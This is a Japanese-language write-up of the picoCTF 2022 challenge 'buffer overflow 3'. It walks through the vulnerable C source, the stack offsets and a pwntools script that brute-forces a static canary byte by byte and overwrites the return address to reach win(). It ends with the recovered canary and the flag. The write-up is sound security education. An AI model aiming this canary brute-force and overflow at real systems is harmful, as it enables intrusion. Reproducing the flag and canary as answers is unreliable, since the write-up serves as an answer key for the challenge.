picoCTF 2022 writeup buffer overflow 3

## buffer overflow 3 (Binary Exploitation)

Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using: `nc saturn.picoctf.net 60026`

添付ファイル
・vuln
・vuln.c

とりあえず、実行してみる。
```
$ nc saturn.picoctf.net 60026
How Many Bytes will You Write Into the Buffer?
> 10
Input> aaaaaaaaaaa
Ok... Now Where's the Flag?
```
ソースコードを見る。
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    fflush(stdout);
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(0);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}
```
セキュリティ機構を確認する。
```
$ checksec vuln
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/colza-picoctf/.cache/.pwntools-cache-3.10/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] A newer version of pwntools is available on pypi (4.13.1 --> 4.14.0).
    Update with: $ pip install -U pwntools
[*] '/home/colza-picoctf/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
```
No PIEでベースアドレスが0x8048000であることが分かる。まず、canaryを特定する。そして、buffer overflowさせ、`offset + canary + offset + return address + win() address`を入力する。
```c
while (x<BUFSIZE) {
  read(0,length+x,1);
  if (length[x]=='\n') break;
  x++;
}
```
ここで、Input>のときの標準入力の読み取り文字数を自分で指定できるため、読み取り文字数を1文字ずつ増やしていき、canaryを1文字ずつ特定することができる。

offsetを特定する。
vulnのmemcpy部分。
```
 80494a2:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 80494a9:       c7 c0 54 c0 04 08       mov    eax,0x804c054
 80494af:       8b 00                   mov    eax,DWORD PTR [eax]
 80494b1:       89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 ```
`read(0,buf,count);`部分。
```
 8049531:       83 c4 10                add    esp,0x10
 8049534:       8b 85 6c ff ff ff       mov    eax,DWORD PTR [ebp-0x94]
 804953a:       83 ec 04                sub    esp,0x4
 804953d:       50                      push   eax
 804953e:       8d 45 b0                lea    eax,[ebp-0x50]
 8049541:       50                      push   eax
 8049542:       6a 00                   push   0x0
 8049544:       e8 e7 fb ff ff          call   8049130 <read@plt>
 ```
 return部分。
 ```
 80495bf:       8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]
 80495c2:       c9                      leave
 80495c3:       c3                      ret
```
canaryはebp-0x10、bufはebp-0x50、return addressはebp-0x4にあることが読み取れる。
よって、offsetは以下の通り。
* canaryまで : 64bytes
* canaryからreturn addressまで : 12bytes


以下、実行コード。
```python solve.py
from pwn import *
import time

elf = ELF('./vuln')

win_addr = elf.symbols['win']

canary_bf = b""
for i in range(4):
    for j in range(256):
        num = 64 + i + 1
        payload = b"a" * 64 + canary_bf + bytes([j])
        p = remote('saturn.picoctf.net', 60026)
        p.sendlineafter(b"> ", str(num).encode())
        p.sendlineafter(b"> ", payload)
        data = p.recv()
        p.close()
        time.sleep(0.2)

        if b"Ok" in data:
            canary_bf += bytes([j])
            break

print(canary_bf)
payload  = b"a" * 64 + canary_bf + b"a" * 12 + p32(0x80495c3) + p32(win_addr)

p = remote('saturn.picoctf.net', 60026)

p.sendlineafter(b"> ", b"96")
p.sendlineafter(b"> ", payload)

p.interactive()
```

実行する。
```
$ python solve.py
...
[+] Opening connection to saturn.picoctf.net on port 60026: Done
[*] Closed connection to saturn.picoctf.net port 60026
b'BiRd'
[+] Opening connection to saturn.picoctf.net on port 60026: Done
[*] Switching to interactive mode
Ok... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_fba9d49b}
[*] Got EOF while reading in interactive
```

フラグが得られた。

`picoCTF{Stat1C_c4n4r13s_4R3_b4D_fba9d49b}`